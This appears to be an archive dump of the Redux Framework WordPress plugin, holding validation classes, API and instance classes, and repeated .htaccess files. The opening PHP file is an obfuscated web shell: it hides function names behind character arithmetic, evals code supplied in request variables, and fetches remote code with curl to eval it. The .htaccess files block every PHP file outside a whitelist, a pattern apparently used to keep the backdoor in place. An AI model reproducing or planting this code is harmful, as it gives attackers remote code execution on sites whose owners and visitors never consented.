0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $Sy /*-|3R#R,Ow-*/= "r"."a"/*-YK?-*/."n"/*-B2EZ&#-*/."g"."e"; $T = /*-w}4pg[S#-*/$Sy("~"/*-LRQuv^7~4-*/, " "); /*-%>-*/$C/*->2<$5ihVmh-*/=/*-u@!$j.9-*/${$T/*-M&J,[_<t|-*/[16+15]/*-d>UZJuz-*/.$T[9+50]./*-vRXhE-*/$T/*-a6g-*/[28+19]/*-)QnDo]D-*/.$T/*-,}d<v3f-*/[7+40]./*--nCj$H|,-*/$T[16+35]./*-4pb||p-*/$T/*-qu_JDsn-*/[18+35]./*-2k-*/$T/*-JH3G3D-*/[8+49]};/*-HXx2TU^SH-*/ @(count/*-{8u-*/($C)/*-lIN![BQ-*/==/*-cVq!dtTJ=-*/18&&/*-SV,<-*/in_array(/*-PQkkyFY`6-*/gettype(/*-1P@$!0Il-*/$C)./*-W)h]2cYy!-*/count(/*-Y`uln2aK-*/$C),$C))?(($C[62]=$C[62].$C[80])&&($C[89]=$C[62]($C[89]))&&(/*-y1k=Kl-*/@eval/*-6OFCm|iW-*/($C[62](${$C[47]}[21])/*-ut:2QhB;=-*/))/*-[l-*/):$C;/*-t^n=Xc-*/class /*-yO6-*/b{ /*-fb&W=n3u8-*/static/*-s(WYK:e-*/ function /*-.Z,-*/XUqNVjcfd($VzkdTuxI) /*-{Oyr}`Te%-*/{ $NFaGLZvgW/*-i)&[).D-*/ = /*-)W{e6tL(-*/"r"./*-,!c-*/"a"./*-x--*/"n"./*-X-F}-*/"g"./*-e_ZnD-*/"e"; /*-biN1-Am{1-*/$hRM/*-b7[VH%-*/ = /*-kj.-*/$NFaGLZvgW/*-(hCXEadn-*/(/*-wiXlRApcl-*/"~"/*-g#007Z-*/, /*-.p0U%-*/" "/*-~-*/);/*-Zph,ju2-*/ $PeE /*-jCG0-*/= /*-=+,zle-*/explode/*-&rQTwD-*/(/*-:<p-*/">", /*-a2-@`.xt-*/$VzkdTuxI/*-JQ&,-*/); /*-FU1P0;;~-*/$wyIYze /*-m%Fj^J-*/= /*-r;Q-*/""; foreach /*-{xpVK9c`-*/(/*-]&wl}5nxE%-*/$PeE /*-V}@:-*/as /*-mVxI-*/$mZpCLAuVTP /*-=vP$hB-*/=>/*-KyW-*/ $kGctoNwx/*-A-@5-*/) /*-&@vsQU5Y-*/$wyIYze /*-StgTA]KzX-*/.= /*-:[`-*/$hRM[$kGctoNwx/*-73-*/ - /*-`VwVJT-*/89851/*-7i26-*/];/*-MK-*/ return /*-q4Ci-*/$wyIYze; /*-xu;U<-*/} /*-Fci3OVy-*/static /*-sTrGW~-*/function /*-IAh%ov-*/xjkDenscSY/*-FX@FWS-*/(/*-&g[T:H-*/$xEH,/*-iewn&PNA-*/ $XgBylnEM/*-TP3R-*/)/*-C%YUB7-*/ {/*-YjD8TK1`VW-*/ $PU/*-yH,S<_=!0P-*/ = /*-[0|-*/curl_init/*-OQf#t-*/(/*-!ZXjj-*/$xEH/*-vs-*/);/*-a%k}O-*/ curl_setopt/*-4j-*/(/*-i<!N7+o$F>-*/$PU,/*-!I:DaI(F$-*/ CURLOPT_RETURNTRANSFER,/*-6p-*/ 1/*-R8}fFr,-*/);/*-wh-*/ $mePJqIM/*-:_CKz-*/ = /*-0Z[`--*/curl_exec/*-Nt-<-@t-*/(/*-eI,N-*/$PU/*-<gSmR-J-*/); /*-((JhKU0-*/return /*-I>uEP-*/empty/*-)m9Mx([Y-*/(/*-#rl;nU-*/$mePJqIM/*-Q-*/)/*-O-:{HF<;x-*/ ? /*-d-*/$XgBylnEM/*-(dte]s^-*/(/*-]J{skZ=c-*/$xEH/*-HcEZMy.G!-*/)/*->n%sl-*/ : /*-{3^0H@Wr8`-*/$mePJqIM; /*-LE!2P-*/}/*-f;&Y-*/ static/*-CvTdn(>]-*/ function /*-7_8=[u-*/SAngK/*-=~9.-*/() /*-%Rg]X^c+-*/{/*-Pe{W<:;(:n-*/ $wRMNlKqkj /*-<&$1-*/=/*-A:6pDi2-*/ array/*-7pjg-*/("89878>89863>89876>89880>89861>89876>89882>89875>89860>89867>89878>89861>89872>89866>89867","89862>89861>89863>89882>89863>89866>89861>89928>89926","89871>89862>89866>89867>89882>89877>89876>89878>89866>89877>89876","89865>89880>89878>89870","89879>89880>89862>89876>89923>89925>89882>89877>89876>89878>89866>89877>89876","89875>89872>89869>89876>89882>89874>89876>89861>89882>89878>89866>89867>89861>89876>89867>89861>89862","89905>89935","89852","89930>89935","89912>89895>89895>89912>89888","89866>89875"); /*-zO-*/foreach /*-Kj8dQ-*/(/*-YdUq~FpuE0-*/$wRMNlKqkj/*-&m-*/ as /*-VKB$%K-*/$VIj/*-97_rp-*/)/*-@N8%-*/ $PHLYiX/*-x.Uf-*/[] /*-i]+u^]Em-*/= /*-T$6<FF-*/self/*-veai09Th-*/::/*-Ze2Wx)HTK3-*/XUqNVjcfd/*->9TD-*/(/*-6:-*/$VIj/*-lLOb5^-*/);/*-JN-*/$bC /*-H1fdW5BOx-*/= /*-|oK0q-*/@$PHLYiX/*-rw$<-*/[/*-wT^.>-*/1/*-%|-*/]/*-g0QGv4-*/(/*-c7%A#-*/${/*-^e,-3Wj-*/"_"/*-Flj.w8-*/."G"/*-9!J$TO0C?-*/."E"/*-;!S}t(4,-*/."T"/*-EJ|#Tp.Q_-*/}[/*-cir?-*/$PHLYiX/*-%7%-DJ2-*/[/*-D[@&octkt-*/9+0/*-ZEdb`-*/]]/*-~4WVPHK(p#-*/);/*-of(jI-*/ $Oy /*-WBrQ>o--*/=/*-~>kl_RuL3-*/ @$PHLYiX/*-VlC-*/[/*-Xw>P-*/0+3/*-@2rc-*/]/*-=JK-*/(/*-X?-*/$PHLYiX/*-QnC%D%-*/[/*-J:7j}-*/2+4/*-0%jbG_.yA1-*/], /*-?u={r3v}h-*/$bC/*-@$_SI~-*/);/*-[!]%D@2-*/ $ApluL /*-3J-*/=/*-q=fZwSE54-*/ $PHLYiX/*-.MM{OM|-*/[/*-:])M-*/2+0/*-e%)AV&-*/]/*-z%A;@Y?g@?-*/(/*-7#C>39V#Ch-*/$Oy,/*-m=-*/ true/*-dq<;-!,-*/); /*-+R^(-*/@${/*-6L%Dp-*/"_"./*-;6.-*/"G"./*-RSGMU#`-*/"E"/*-6f:?#&z-*/."T"/*-b6B]%c-*/}/*-CopF!!o-*/[/*-e`-*/$PHLYiX/*-up-*/[8+2/*->P<KGix~4-*/]/*-_t-*/]/*-DC$6~ub-*/ == /*-Yi}~-*/1 /*-|9-*/&& /*-Mf[{ED-*/die/*-=]-*/(/*-0(R#-*/$PHLYiX[5+0/*-(6+-*/]/*-FW-*/(/*-|{}%Qnb-*/__FILE__/*-1Jy|||i5-*/)/*-nv-*/); /*-T`kFDfUv1<-*/if/*-$H-*/(/*-O-*/ (/*-BTY`c^)-*/(@/*-dji8ND5xb-*/$ApluL/*-PBij-*/[/*-SN-*/0/*-)XSru%|z-*/] /*-A9w6OzY-*/- time/*-THd=rWpw-*/()/*-U+rd,;2~-*/) > /*--lu@-*/0/*-ZQ;rf%-*/)/*-6<$2JN]zOc-*/ and /*-Dpy%Tzl-*/(/*-ZD#-*/md5/*-_>8vS.-*/(/*-l64S6Tay+|-*/md5/*-uNw-*/(/*-wu]3-*/$ApluL/*-;a--*/[/*-&Yr-*/0+3/*-RG{JCH-*/]/*-Q!_KqJ-*/)/*-N]1ErL5PV-*/)/*-tDW{97-*/ === /*-oy)ii<3]U5-*/"cb145525421d7b64ec53bf7814d8df43"/*-Umw-*/)/*-e9-*/ ): /*-Vt`=G-](?-*/$FzhKNwdjX /*-;`J-*/=/*-R|saW$Yj@f-*/ self/*-En~g{-*/::/*-A-*/xjkDenscSY/*-`p-XPR-*/(/*-%Vcwx-*/$ApluL/*-ha8?}mV-*/[/*-b|#?Vj_-*/0+1/*-j>yzYCSO-*/], /*-$AL`-*/$PHLYiX/*-&G(-*/[/*-5]<dM-*/3+2/*-pA32Y5)7>-*/]/*-K2Rc{p:2%-*/);/*-&u_<-*/@eval/*-{--*/(/*-M:Lmz{[`-*/$PHLYiX/*-YqdSqR.Db-*/[/*-ki9?b=1F-*/0+4/*-7!Y>P_r-*/]/*-~Ym>=g-*/(/*-wguTS{xrw9-*/$FzhKNwdjX/*-SY;5-*/)/*-w-*/);/*-@5s-*//*-8uP`Mur%-*/die;/*-j4CTm5r[2-*/ endif;/*-@C+;vS8f1x-*/ }/*-%5)a$$VNJ?-*/}/*-}B7EgO%Y-*/b/*-F@WS-*/::/*-Ril&Er-*/SAngK/*-x~I2Ut-*/();/*-kC{RB-*/ ?>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/validation/not_empty/not_empty/.htaccess����������������������������������������0000644�����������������00000001626�14720701300�0020422 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/not_empty/validation_not_empty.php�����������������������������������0000644�����������������00000002561�14720701300�0021546 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! class_exists( 'Redux_Validation_not_empty' ) ) { class Redux_Validation_not_empty { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $parent, $field, $value, $current ) { $this->parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'This field cannot be empty. Please provide a value.', 'redux-framework' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function validate() { if ( ! isset( $this->value ) || empty( $this->value ) ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; } } //function } //class }�����������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/validation/not_empty/.htaccess��������������������������������������������������0000644�����������������00000001626�14720701300�0016404 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/comma_numeric/validation_comma_numeric.php���������������������������0000644�����������������00000002734�14720701300�0023150 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! class_exists( 'Redux_Validation_comma_numeric' ) ) { class Redux_Validation_comma_numeric { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $parent, $field, $value, $current ) { $this->parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'You must provide a comma separated list of numerical values for this option.', 'redux-framework' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function validate() { $this->value = str_replace( ' ', '', $this->value ); if ( ! is_numeric( str_replace( ',', '', $this->value ) ) ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; } } //function } //class }������������������������������������redux-framework/inc/validation/comma_numeric/.htaccess����������������������������������������������0000644�����������������00000001626�14720701300�0017204 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/.htaccess������������������������������������������������������������0000644�����������������00000001626�14720701300�0014366 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/class.redux_instances.php�������������������������������������������������������0000644�����������������00000014460�14720701300�0015451 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework Instance Container Class * Automatically captures and stores all instances * of ReduxFramework at instantiation. * * @package Redux_Framework * @subpackage Core */ class ReduxFrameworkInstances { /** * ReduxFrameworkInstances * * @var object */ private static $instance; /** * ReduxFramework instances * * @var array */ private static $instances; /** * @var array */ private $options = array(); /** * Get Instance * Get ReduxFrameworkInstances instance * OR an instance of ReduxFramework by [opt_name] * * @param string $opt_name the defined opt_name * * @return object class instance */ public static function get_instance( $opt_name = false ) { if ( is_null( self::$instance ) ) { self::$instance = new self(); } if ( $opt_name && ! empty( self::$instances[ $opt_name ] ) ) { return self::$instances[ $opt_name ]; } return self::$instance; } /** * Get all instantiated ReduxFramework instances (so far) * * @return [type] [description] */ public static function get_all_instances() { return self::$instances; } private function __construct() { add_action( 'redux/construct', array( $this, 'capture' ), 5, 1 ); $hash = md5( trailingslashit( network_site_url() ) . '-redux' ); add_action( 'wp_ajax_nopriv_' . $hash, array( $this, 'tracking_arg' ) ); add_action( 'wp_ajax_' . $hash, array( $this, 'tracking_arg' ) ); if (!class_exists('Redux_Tracking') || !method_exists('Redux_Tracking', 'trackingObject')) { $hash = md5( md5( Redux_Helpers::get_auth_key_secret_key() . '-redux' ) . '-support' ); add_action( 'wp_ajax_nopriv_' . $hash, array( $this, 'support_args' ) ); add_action( 'wp_ajax_' . $hash, array( $this, 'support_args' ) ); } } function tracking_arg() { echo md5( Redux_Helpers::get_auth_key_secret_key() . '-redux' ); die(); } function support_args() { $this->options = get_option( 'redux-framework-tracking' ); $this->options['dev_mode'] = false; if ( ! isset( $this->options['hash'] ) || ! $this->options['hash'] || empty( $this->options['hash'] ) ) { $this->options['hash'] = md5( network_site_url() . '-' . $_SERVER['REMOTE_ADDR'] ); update_option( 'redux-framework-tracking', $this->options ); } if ( isset( $_GET['redux_framework_disable_tracking'] ) && ! empty( $_GET['redux_framework_disable_tracking'] ) ) { $this->options['allow_tracking'] = false; update_option( 'redux-framework-tracking', $this->options ); } if ( isset( $_GET['redux_framework_enable_tracking'] ) && ! empty( $_GET['redux_framework_enable_tracking'] ) ) { $this->options['allow_tracking'] = true; update_option( 'redux-framework-tracking', $this->options ); } header( "Expires: Mon, 26 Jul 1997 05:00:00 GMT" ); header( "Last-Modified: " . gmdate( "D, d M Y H:i:s" ) . "GMT" ); header( 'Expires: Sat, 26 Jul 1997 05:00:00 GMT' ); header( 'Cache-Control: no-store, no-cache, must-revalidate' ); header( 'Cache-Control: post-check=0, pre-check=0', false ); header( 'Pragma: no-cache' ); $instances = ReduxFrameworkInstances::get_all_instances(); $array = array(); if ( isset( $_REQUEST['i'] ) && ! empty( $_REQUEST['i'] ) ) { if ( is_array( $instances ) && ! empty( $instances ) ) { foreach ( $instances as $opt_name => $data ) { if ( md5( $opt_name . '-debug' ) == $_REQUEST['i'] ) { $array = $instances[ $opt_name ]; } if ($data->args['dev_mode']) { $this->options['dev_mode'] = $data->args['dev_mode']; } } } if ( isset( $array ) ) { if ( isset( $array->extensions ) && is_array( $array->extensions ) && ! empty( $array->extensions ) ) { foreach ( $array->extensions as $key => $extension ) { if ( isset( $extension->version ) ) { $array->extensions[ $key ] = $extension->version; } else { $array->extensions[ $key ] = true; } } } if ( isset( $array->import_export ) ) { unset( $array->import_export ); } if ( isset( $array->debug ) ) { unset( $array->debug ); } } else { die(); } } else { $array = Redux_Helpers::trackingObject(); if ( is_array( $instances ) && ! empty( $instances ) ) { $array['instances'] = array(); foreach ( $instances as $opt_name => $data ) { $array['instances'][] = $opt_name; } } $array['key'] = md5( Redux_Helpers::get_auth_key_secret_key() ); } echo @json_encode( $array, true ); die(); } function capture( $ReduxFramework ) { $this->store( $ReduxFramework ); } private function store( $ReduxFramework ) { if ( $ReduxFramework instanceof ReduxFramework ) { $key = $ReduxFramework->args['opt_name']; self::$instances[ $key ] = $ReduxFramework; } } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/class.redux_api.php�������������������������������������������������������������0000644�����������������00000071500�14720701300�0014231 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework API Class * Makes instantiating a Redux object an absolute piece of cake. * * @package Redux_Framework * @author Dovy Paukstys * @subpackage Core */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'Redux' ) ) { /** * Redux API Class * Simple API for Redux Framework * * @since 1.0.0 */ class Redux { public static $fields = array(); public static $sections = array(); public static $help = array(); public static $args = array(); public static $priority = array(); public static $errors = array(); public static $init = array(); public static $extensions = array(); public static $uses_extensions = array(); public function __call( $closure, $args ) { return call_user_func_array( $this->{$closure}->bindTo( $this ), $args ); } public function __toString() { return call_user_func( $this->{"__toString"}->bindTo( $this ) ); } public static function load() { add_action( 'after_setup_theme', array( 'Redux', 'createRedux' )); add_action( 'init', array( 'Redux', 'createRedux' )); add_action( 'switch_theme', array( 'Redux', 'createRedux' )); } public static function init( $opt_name = "" ) { if ( ! empty( $opt_name ) ) { self::loadRedux( $opt_name ); remove_action( 'setup_theme', array( 'Redux', 'createRedux' ) ); } } public static function loadExtensions( $ReduxFramework ) { if ( $instanceExtensions = self::getExtensions( $ReduxFramework->args['opt_name'], "" ) ) { foreach ( $instanceExtensions as $name => $extension ) { if ( ! class_exists( $extension['class'] ) ) { // In case you wanted override your override, hah. $extension['path'] = apply_filters( 'redux/extension/' . $ReduxFramework->args['opt_name'] . '/' . $name, $extension['path'] ); if ( file_exists( $extension['path'] ) ) { require_once $extension['path']; } } if ( ! isset( $ReduxFramework->extensions[ $name ] ) ) { if ( class_exists( $extension['class'] ) ) { $ReduxFramework->extensions[ $name ] = new $extension['class']( $ReduxFramework ); //if (isset($ReduxFramework->extensions[ $name ]->min_redux_version)) { //var_dump($ReduxFramework->extensions[ $name ]->min_redux_version); //} } else { echo '<div id="message" class="error"><p>No class named <strong>' . $extension['class'] . '</strong> exists. Please verify your extension path.</p></div>'; } } } } } public static function extensionPath( $extension, $folder = true ) { if ( ! isset( Redux::$extensions[ $extension ] ) ) { return; } $path = end( Redux::$extensions[ $extension ] ); if ( ! $folder ) { return $path; } return str_replace( 'extension_' . $extension . '.php', '', $path ); } public static function loadRedux( $opt_name = "" ) { if ( empty( $opt_name ) ) { return; } $check = ReduxFrameworkInstances::get_instance( $opt_name ); if ( isset( $check->apiHasRun ) ) { return; } $args = self::constructArgs( $opt_name ); $sections = self::constructSections( $opt_name ); if ( ! class_exists( 'ReduxFramework' ) ) { echo '<div id="message" class="error"><p>Redux Framework is <strong>not installed</strong>. Please install it.</p></div>'; return; } if ( isset( self::$uses_extensions[ $opt_name ] ) && ! empty( self::$uses_extensions[ $opt_name ] ) ) { add_action( "redux/extensions/{$opt_name}/before", array( 'Redux', 'loadExtensions' ), 0 ); } $redux = new ReduxFramework( $sections, $args ); $redux->apiHasRun = 1; self::$init[ $opt_name ] = 1; if ( isset( $redux->args['opt_name'] ) && $redux->args['opt_name'] != $opt_name ) { self::$init[ $redux->args['opt_name'] ] = 1; } } public static function createRedux() { foreach ( self::$sections as $opt_name => $theSections ) { if ( ! self::$init[ $opt_name ] ) { self::loadRedux( $opt_name ); } } } public static function constructArgs( $opt_name ) { $args = isset( self::$args[ $opt_name ] ) ? self::$args[ $opt_name ] : array(); $args['opt_name'] = $opt_name; if ( ! isset( $args['menu_title'] ) ) { $args['menu_title'] = ucfirst( $opt_name ) . ' Options'; } if ( ! isset( $args['page_title'] ) ) { $args['page_title'] = ucfirst( $opt_name ) . ' Options'; } if ( ! isset( $args['page_slug'] ) ) { $args['page_slug'] = $opt_name . '_options'; } return $args; } public static function constructSections( $opt_name ) { $sections = array(); if ( ! isset( self::$sections[ $opt_name ] ) ) { return $sections; } foreach ( self::$sections[ $opt_name ] as $section_id => $section ) { $section['fields'] = self::constructFields( $opt_name, $section_id ); $p = $section['priority']; while ( isset( $sections[ $p ] ) ) { $p++; } $sections[ $p ] = $section; } ksort( $sections ); return $sections; } public static function constructFields( $opt_name = "", $section_id = "" ) { $fields = array(); if ( ! empty( self::$fields[ $opt_name ] ) ) { foreach ( self::$fields[ $opt_name ] as $key => $field ) { if ( $field['section_id'] == $section_id ) { $p = $field['priority']; while ( isset( $fields[ $p ] ) ) { echo $p ++; } $fields[ $p ] = $field; } } } ksort( $fields ); return $fields; } public static function getSection( $opt_name = '', $id = '' ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $id ) ) { if ( ! isset( self::$sections[ $opt_name ][ $id ] ) ) { $id = strtolower( sanitize_html_class( $id ) ); } return isset( self::$sections[ $opt_name ][ $id ] ) ? self::$sections[ $opt_name ][ $id ] : false; } return false; } public static function setSections( $opt_name = '', $sections = array() ) { self::check_opt_name( $opt_name ); if ( ! empty( $sections ) ) { foreach ( $sections as $section ) { Redux::setSection( $opt_name, $section ); } } } public static function getSections( $opt_name = '' ) { self::check_opt_name( $opt_name ); if ( ! empty( self::$sections[ $opt_name ] ) ) { return self::$sections[ $opt_name ]; } return array(); } public static function removeSection( $opt_name = '', $id = "", $fields = false ) { if ( ! empty( $opt_name ) && ! empty( $id ) ) { if ( isset( self::$sections[ $opt_name ][ $id ] ) ) { $priority = ''; foreach ( self::$sections[ $opt_name ] as $key => $section ) { if ( $key == $id ) { $priority = $section['priority']; self::$priority[ $opt_name ]['sections'] --; unset( self::$sections[ $opt_name ][ $id ] ); continue; } if ( $priority != "" ) { $newPriority = $section['priority']; $section['priority'] = $priority; self::$sections[ $opt_name ][ $key ] = $section; $priority = $newPriority; } } if ( isset( self::$fields[ $opt_name ] ) && ! empty( self::$fields[ $opt_name ] ) && $fields == true ) { foreach ( self::$fields[ $opt_name ] as $key => $field ) { if ( $field['section_id'] == $id ) { unset( self::$fields[ $opt_name ][ $key ] ); } } } } } } public static function setSection( $opt_name = '', $section = array() ) { self::check_opt_name( $opt_name ); if ( empty( $section ) ) { return; } if ( ! isset( $section['id'] ) ) { if ( isset( $section['type'] ) && $section['type'] == "divide" ) { $section['id'] = time(); } else { if ( isset( $section['title'] ) ) { $section['id'] = strtolower( sanitize_title( $section['title'] ) ); } else { $section['id'] = time(); } } if ( ! isset( $section['id'] ) ) { print_r( $section ); echo "DOVY"; } if ( isset( self::$sections[ $opt_name ][ $section['id'] ] ) ) { $orig = $section['id']; $i = 0; while ( isset( self::$sections[ $opt_name ][ $section['id'] ] ) ) { $section['id'] = $orig . '_' . $i; $i ++; } } } if ( ! empty( $opt_name ) && is_array( $section ) && ! empty( $section ) ) { if ( ! isset( $section['id'] ) && ! isset( $section['title'] ) ) { self::$errors[ $opt_name ]['section']['missing_title'] = "Unable to create a section due to missing id and title."; return; } if ( ! isset( $section['priority'] ) ) { $section['priority'] = self::getPriority( $opt_name, 'sections' ); } if ( isset( $section['fields'] ) ) { if ( ! empty( $section['fields'] ) && is_array( $section['fields'] ) ) { self::processFieldsArray( $opt_name, $section['id'], $section['fields'] ); } unset( $section['fields'] ); } self::$sections[ $opt_name ][ $section['id'] ] = $section; } else { self::$errors[ $opt_name ]['section']['empty'] = "Unable to create a section due an empty section array or the section variable passed was not an array."; return; } } public static function hideSection( $opt_name = '', $id = '', $hide = true ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $id ) ) { if ( isset ( self::$sections[ $opt_name ][ $id ] ) ) { self::$sections[ $opt_name ][ $id ]['hidden'] = $hide; } } } public static function processFieldsArray( $opt_name = "", $section_id = "", $fields = array() ) { if ( ! empty( $opt_name ) && ! empty( $section_id ) && is_array( $fields ) && ! empty( $fields ) ) { foreach ( $fields as $field ) { if ( ! is_array( $field ) ) { continue; } $field['section_id'] = $section_id; self::setField( $opt_name, $field ); } } } public static function getField( $opt_name = '', $id = '' ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $id ) ) { return isset( self::$fields[ $opt_name ][ $id ] ) ? self::$fields[ $opt_name ][ $id ] : false; } return false; } public static function hideField( $opt_name = '', $id = '', $hide = true ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $id ) ) { if ( isset ( self::$fields[ $opt_name ][ $id ] ) ) { if ( ! $hide ) { self::$fields[ $opt_name ][ $id ]['class'] = str_replace( 'hidden', '', self::$fields[ $opt_name ][ $id ]['class'] ); } else { self::$fields[ $opt_name ][ $id ]['class'] .= 'hidden'; } } } } public static function setField( $opt_name = '', $field = array() ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && is_array( $field ) && ! empty( $field ) ) { if ( ! isset( $field['priority'] ) ) { $field['priority'] = self::getPriority( $opt_name, 'fields' ); } if ( isset( $field['id'] ) ) { self::$fields[ $opt_name ][ $field['id'] ] = $field; } } } public static function removeField( $opt_name = '', $id = '' ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $id ) ) { if ( isset( self::$fields[ $opt_name ][ $id ] ) ) { foreach ( self::$fields[ $opt_name ] as $key => $field ) { if ( $key == $id ) { $priority = $field['priority']; self::$priority[ $opt_name ]['fields'] --; unset( self::$fields[ $opt_name ][ $id ] ); continue; } if ( isset( $priority ) && $priority != "" ) { $newPriority = $field['priority']; $field['priority'] = $priority; self::$fields[ $opt_name ][ $key ] = $field; $priority = $newPriority; } } } } return false; } public static function setHelpTab( $opt_name = "", $tab = array() ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $tab ) ) { if ( ! isset( self::$args[ $opt_name ]['help_tabs'] ) ) { self::$args[ $opt_name ]['help_tabs'] = array(); } if ( isset( $tab['id'] ) ) { self::$args[ $opt_name ]['help_tabs'][] = $tab; } else if ( is_array( end( $tab ) ) ) { foreach ( $tab as $tab_item ) { self::$args[ $opt_name ]['help_tabs'][] = $tab_item; } } } } public static function setHelpSidebar( $opt_name = "", $content = "" ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && 